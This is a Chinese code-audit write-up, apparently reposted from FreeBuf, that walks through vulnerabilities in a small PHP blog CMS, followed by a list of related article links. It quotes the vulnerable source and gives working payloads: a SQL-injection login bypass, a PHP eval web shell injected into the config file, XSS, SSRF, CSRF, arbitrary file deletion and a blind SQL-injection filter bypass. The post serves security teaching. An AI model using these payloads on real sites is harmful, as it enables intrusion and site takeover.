浅谈代码审计入门实战:某博客系统最新版审计之旅

标签: 安全漏洞 | 发表时间:2017-08-14 21:21 | 作者:shendao
出处:http://www.shellsec.com

第一次正式的审一次CMS,虽然只是一个很小的博客系统(提交都不一定收的那种),漏洞也都很简单,但是也算是积累了不少经验,所以最后想来还是在此做个分享,博客系统的CMS就不说了,毕竟有个官网挂着。。。缘起某日翻阅某朋友博客的时候无意间发现有个小型的CMS,反正暑假闲的无聊就去审了一下代码(正好拿来练练手),问题挺严重的,好多参数都没有进行过滤,光注入就有好多处,因为文章篇幅有限,这里就不一一列举了,这里只把我找到的漏洞中每类最典型的剖析一下。

身份验证漏洞

首先一上来就是一个很简单的洞,后台就可以万能密码绕过,问题出在这里 ad/login.php 先看代码

function jsloginpost(){ global $tabhead; global $txtchk; @$user=$_POST["user"]; @$psw=$_POST["psw"];$psw = authcode(@$psw, 'ENCODE', 'key',0);  @$loginlong=$_POST["loginlong"];  setcookie("lggqsj",date('Y-m-d H:i:s',time()+$loginlong), time()+60*60*24,"/; HttpOnly" , "",'');  $tab=$tabhead."adusers"; $chk=" where adnaa='".$user."' and adpss='".$psw."' "; mysql_select_db($tab); $sql = mysql_query("select * from ".$tab.$chk);

这里我们并没有对POST和GET参数进行过滤(一开始我还以为定义了全局过滤,结果找了半天没找到,发现根本就没有过滤)所以登陆可以直接万能密码绕过

username=qweq' or 1=1# password=123

任意文件修改导致getshell

进了后台以后我们先大致浏览一下功能,发现这里有个修改站点信息的功能,进入后台找到相应的 setconfig.php 我们先看一下大致的表单提交格式

<?function save(){ global $root,$dbuser,$dbpsw,$dbname,$tabhead,$webname,$webkeywords,$webinfo,$weburl,$webauthor,$webbegindate,$pagenum,$cachepath,$date,$starttime,$themepath,$artpath,$tagpath; $file="../cmsconfig.php"; $text = file_get_contents($file); $text2=$text; $text2=str_replace('"'.$weburl.'"','"'.$_POST[1].'"',$text2); $text2=str_replace('"'.$webbegindate.'"','"'.$_POST[2].'"',$text2); $text2=str_replace('"'.$webname.'"','"'.$_POST[3].'"',$text2); $text2=str_replace('"'.$webkeywords.'"','"'.$_POST[4].'"',$text2); $text2=str_replace('"'.$webinfo.'"','"'.$_POST[5].'"',$text2); $text2=str_replace('"'.$webauthor.'"','"'.$_POST[6].'"',$text2); $text2=str_replace('"'.$artpath.'"','"'.$_POST[7].'"',$text2); $text2=str_replace('"'.$tagpath.'"','"'.$_POST[8].'"',$text2); $text2=str_replace('"'.$cachepath.'"','"'.$_POST[9].'"',$text2); ?>

这里我们我们可以很容易发现它对我们的输入并没有进行任何过滤就直接替换了原文件的内容,我们追踪到源文件

浅谈代码审计入门实战:某博客系统最新版审计之旅

所以我们可以构造一句话插入

";@eval($_POST['cmd']);/*

浅谈代码审计入门实战:某博客系统最新版审计之旅

然后用菜刀链接 cmsconfig.php 文件

XSS

既然是博客系统,那么最重要的一定是发布文章的模块,所以我们跟进去看一下,问题出在 art.php 先大致看一下代码有无过滤

添加文章

<?php  function addart(){ $_SESSION['jdate']='';$_SESSION['jid']=''; global $webauthor,$date,$weburl; global $tabhead; $title=$_GET['title']; $content=$_GET['content']; ?>

这里乍一看是没有进行过滤的,接着找一下表单结构

<div id=addart_left> <span id="jieguo"></span> <form id="frm" name="frm" method="post" action="?g=editsave" > <input name=id type=hidden value="<?=$id?>" > <p><input  style="width:400px" type=text name=title value="<?=$title?>" >文章标题,严禁特殊符号</p> <p><input  style="width:400px"  name=htmlname type=text value="<?=$htmlname?>" >html别名,静态目录,严禁特殊符号</p>  <p ><input  style="width:400px;"  type=text name=pic id=pic_txt value="<?=$pic?>" title="您可在这里直接输入图片地址如http://www.axublog.com/logo.jpg" onchange="changepic2()" >填写缩略图网址   </p>  <p><textarea id="content" name="content" style="width:670px;height:380px;visibility:hidden;"><?=htmlspecialchars($content);?></textarea></p> </div>

这里对$content编码进行了标签转义,检查了一下输出点后发现绕不过,想到试试别的参数,于是找到了 tags 参数添加文章的函数的确没有过率,然而到保存页面的时候发现存在问题,作者自己定义了一个过滤函数

$tags=$_POST['tags'];if($tags==''){$tags=$_SESSION['tags'];} $tags=htmlnameguolv($tags);

跟进去过滤函数

function htmlnameguolv($str){ $str = str_replace('`', '', $str);     $str = str_replace('·', '', $str);     $str = str_replace('~', '', $str);     $str = str_replace('!', '', $str);     $str = str_replace('!', '', $str);     $str = str_replace('@', '', $str);     $str = str_replace('#', '', $str);     $str = str_replace('$', '', $str);     $str = str_replace('¥', '', $str);     $str = str_replace('%', '', $str);     $str = str_replace('^', '', $str);     $str = str_replace('……', '', $str);     $str = str_replace('&', '', $str);     $str = str_replace('*', '', $str);     $str = str_replace('(', '', $str);     $str = str_replace(')', '', $str);     $str = str_replace('(', '', $str);     $str = str_replace(')', '', $str);     $str = str_replace('——', '', $str);     $str = str_replace('+', '', $str);     $str = str_replace('=', '', $str);     $str = str_replace('|', ',', $str);     $str = str_replace('//', '', $str);     $str = str_replace('[', '', $str);     $str = str_replace(']', '', $str);     $str = str_replace('【', '', $str);     $str = str_replace('】', '', $str);     $str = str_replace('{', '', $str);     $str = str_replace('}', '', $str);     $str = str_replace(';', '', $str);     $str = str_replace(';', '', $str);     $str = str_replace(':', '', $str);     $str = str_replace(':', '', $str);     $str = str_replace('/'', '', $str);     $str = str_replace('"', '', $str);     $str = str_replace('“', '', $str);     $str = str_replace('”', '', $str);     $str = str_replace(',', ',', $str);     $str = str_replace('<', '', $str);     $str = str_replace('>', '', $str);     $str = str_replace('《', '', $str);     $str = str_replace('》', '', $str);     $str = str_replace('.', '', $str);     $str = str_replace('。', '', $str);     $str = str_replace('/', '', $str);     $str = str_replace('、', '', $str);     $str = str_replace('?', '', $str);     $str = str_replace('?', '', $str); return $str; }

写了一堆替换,也没想到啥绕过方法,然后又换了另一个参数 title 这回发现这个参数并没有进行过滤,这是在输入的时候给了个不要输入特殊字符的警告。

浅谈代码审计入门实战:某博客系统最新版审计之旅

前台查看文章

当然这里也是存在二次注入的

SSRF

问题处在 /go/index.php ,关键代码如下

<?php   $u=$_GET['u']; $u=strtolower($u);   $u='http://'.str_replace('http://','',$u);    ?> <script>location.href="<?=$u?>"</script>

u是我们可控的参数,也是一个地址,我们可以直接传入一个内网地址,实现主机发现或者端口扫描

CSRF

问题出在 /ad/admin.php ,关键代码如下

<?function add(){?> <ul> <li><a  target="main" href='right.php'><b>您的位置:后台首页</b></a> > <a  target="main" href='admin.php'><b>管理员列表</b></a> >  <a  target="main" href='admin.php?g=add'><b>添加管理员</b></a> </li> </ul> </div> <div id=adform> <form id="frm" action="?g=addsave" method="post"> <p><input id=text type="text" name="ad_user" size=20 value="">请输入帐号</p> <p><input id=text type="password" name="ad_psw" size=20 value="">请输入密码</p>  <p><input id=text type="password" name="ad_psw2" size=20 value="">重新输入密码</p>  <p><button id="send" onclick=submit() >添加</button></p> </form> </div> <?}?>

这里并没有做相应的token认证所以可能存在csrf漏洞,我们用burp截包

浅谈代码审计入门实战:某博客系统最新版审计之旅

这里有个小技巧可以直接用burp直接生成csrf钓鱼页面完成后丢弃这个包,我们先看我们的管理员有几个

点击html页面的提交

浅谈代码审计入门实战:某博客系统最新版审计之旅

再后来看我们的管理员

任意文件删除

问题处在 /app/dbbackup/index.php 中关键代码如下

if($g=='del'){ $p=$_REQUEST['p']; if($p==''){echo '<script>alert("文件名为空,无法删除!");location.href="?"</script>';} unlink($p);

这里大概看一眼就能明白,p参数可控,且没有进行过滤,所以可以直接删除任意文件,这种任意文件删除一般可以删除 install.lock 从而导致重装漏洞,这里这个博客系统是安装完成后自动把安装页面直接删除了,所以暂不存在该漏洞

SQL注入

问题出在 hit.php ,关键代码如下

<?php header("Content-type:text/html; charset=utf-8"); require("cmsconfig.php"); require("class/c_other.php"); sqlguolv();  $g=$_GET['g'];   if ($g=='arthit'){ $id=$_GET['id'];     if($id!=''){  $tab=$tabhead."arts"; mysql_select_db($tab); $sql=mysql_query("UPDATE ".$tab." SET hit=hit+1 where id=".$id); $sql = mysql_query("select * from ".$tab." where id=".$id); $row=mysql_fetch_array($sql);     $str=$row['hit'];     echo 'document.write('.$str.');';     } }  ?>

看到这里可能很多同学认为id是我们可控并且没有进行任何过滤的,其实作者这里是做了过滤,关键点在这里

这里引用了c_other.php的sqlguolv函数,我们跟进去看一下关键代码

Function sqlguolv() {         header("Content-type:text/html; charset=utf-8"); if (preg_match('/select|insert|update|delete|/'|//*|/*|/././/|/.//|union|into|load_file|outfile/i',$_SERVER['QUERY_STRING'])==1 or preg_match('/select|insert|update|delete|/'|//*|/*|/././/|/.//|union|into|load_file|outfile/i',file_get_contents("php://input"))==1){echo "警告 非法访问!";    exit;} }

这里是把 $_SERVER['QUERY_STRING']) 与关键字做了比较,起到了一定的过滤效果,然而过滤并不完全,我们依然可以利用盲注绕过绕过很简单,这里就只贴一个payload了

hit.php?g=arthit&id=1 and ascii(mid((database()),1,1))>10

脚本懒得写了

做个总结吧,代码审计还是那2种老套路,第一是通读代码,这样的好处是可以挖掘一些逻辑漏洞,比如条件竞争之类的,第二是直接全局搜索,找关键函数,看变量是否可控,是否存在过滤balabala的,对于初学者来说个人认为最快的方法是找一篇老旧的CMS自己尝试审计一下,一般来说是前台(浏览器)找到php,后台对应找php源码看看,主抓一些危险函数及waf函数看看有没有绕过可能。

*本文作者:pupiles,转载请注明来自 FreeBuf.COM

相关 [代码审计 博客 系统] 推荐:

浅谈代码审计入门实战:某博客系统最新版审计之旅

- - 神刀安全网
第一次正式的审一次CMS,虽然只是一个很小的博客系统(提交都不一定收的那种),漏洞也都很简单,但是也算是积累了不少经验,所以最后想来还是在此做个分享,博客系统的CMS就不说了,毕竟有个官网挂着. 缘起某日翻阅某朋友博客的时候无意间发现有个小型的CMS,反正暑假闲的无聊就去审了一下代码(正好拿来练练手),问题挺严重的,好多参数都没有进行过滤,光注入就有好多处,因为文章篇幅有限,这里就不一一列举了,这里只把我找到的漏洞中每类最典型的剖析一下.

代码审计:eyou(亿邮)邮件系统两个getshell和两个有意思的漏洞

- - Seay's blog 网络安全博客
最近在给一家市值过百亿美金的公司做渗透测试,发现其中一个域名用的亿邮邮件系统,就顺便下了套亿邮的源码看了看,发现这套系统的安全性还停留在零几年,问题一大堆,找到一些getshell,简单列两个,再拧两个稍微有意思的漏洞分享一下,就不写详细分析了. 另外过段时间会更新一版代码审计系统,会加几种漏洞类型的审计规则,还有优化误报.

Python安全编码与代码审计

- - FreeBuf.COM | 关注黑客与极客
现在一般的web开发框架安全已经做的挺好的了,比如大家常用的django,但是一些不规范的开发方式还是会导致一些常用的安全问题,下面就针对这些常用问题做一些总结. 代码审计准备部分见《php代码审计》,这篇文档主要讲述各种常用错误场景,基本上都是咱们自己的开发人员犯的错误,敏感信息已经去除. 未对输入和输出做过滤,场景:.

Java代码审计基础(一)

- - 阿德马Web安全
本文重点是让大家了解JAVA代码审计的基础,会以漏洞示例的方式介绍JAVA代码中常见Web漏洞的形成和针对的修复方案,文章是在国外网站上看到的,因为在接触JAVA代码审计,感觉挺高大上的文章,很适合对JAVA代码审计感兴趣的童鞋找感觉之用,就根据自己的理解翻译了过来,拿去某平台投稿,被鄙视说太基础,就只好发自己的Blog上了.

代码审计入门总结

- - WooYun知识库
之前看了seay写的PHP代码审计的书,全部浏览了一遍,作为一个代码审计小白,希望向一些和我一样的小白的人提供一下我的收获,以及一个整体的框架和常见漏洞函数. 这也算是这本书的一个学习笔记吧,可以结合我捋顺的思路来看这本书. 学习代码审计的目标是能够独立完成对一个CMS的代码安全监测. 通读全文代码,从功能函数代码开始阅读,例如 include文件夹下的 common_fun.php,或者有类似关键字的文件.

代码审计就该这么来3 beescms getshell

- - FreeBuf.COM | 关注黑客与极客
本文作者:i春秋作家——索马里的海贼. (http://bbs.ichunqiu.com/thread-13714-1-1.html)说到快速漏洞挖掘中的几个重点关注对象,命令执行,文件操作,sql注入. 并且拿sql做为例子简单做了一次 代码审计,今天换一个思路,从文件操作部分入手,毕竟 文件操作一个搞不好就是getshell,比起注入按部就班慢慢来可要爽快多了.

职业感悟:代码审计与编程在渗透中的重要性

- - Seay's blog 网络安全博客
   配图:3D立体街头涂鸦.      博客连着断了一个月没更新,期间写过好几篇各个方向的文,都是写到一半就夭折,这篇文章强迫自己耐心写出来的. 最近跟出版社沟通好了在写一本关于代码审计和安全编程的书,算是把我这几年的技术积累做一个总结,刚好昨天跟safekey team几个搞渗透的朋友说到编程的问题,就想写个文来好好讲讲.

Windows主管博客介绍Windows Blue系统

- - WPDang
最近关于Windows 8.1(代号Blue)的消息越来越多,很多消息都显示这次更新会针对用户反馈进行一些实质性的改进,即使是此前一直批判Windows 8的 宏碁,也对Windows 8.1充满期待. 不久前,我们也报道了Windows部门联合主管 Tami Reller对Windows 8.1系统透露的一些情况.

simple – 基于 Github 的极简博客系统

- - 极客范 - GeekFan.net
simple是简单的静态博客生成器,基于 Github Pages,静态页面,完全在线操作,不需要服务器,只需一个 Github 账号即可. 传统的独立博客玩法,需要域名、服务器、程序等等一系列服务才玩得转,当然功能也丰富的多. simple 需要 GitHub 账号,然后创建一个 username.github.io 的 project,注意要勾选生成 README.

大型广告系统架构概述 - TigerMee - CSDN博客

- -
在互联网江湖中,始终流传着三大赚钱法宝:广告、游戏、电商. 三杰之中,又以大哥广告的历史最为悠久,地位也最为不可撼动. 君不见很多电商和游戏公司,也通过广告业务赚的盆满钵满. 其发迹于Y公司,被G公司发扬光大,又在F公司阶段性地完成了其历史使命. F公司,在移动互联网兴起之际,利用其得天独厚的数据优势,终于能够回答困扰了广告主几百年的问题:我的广告究竟被谁看到了.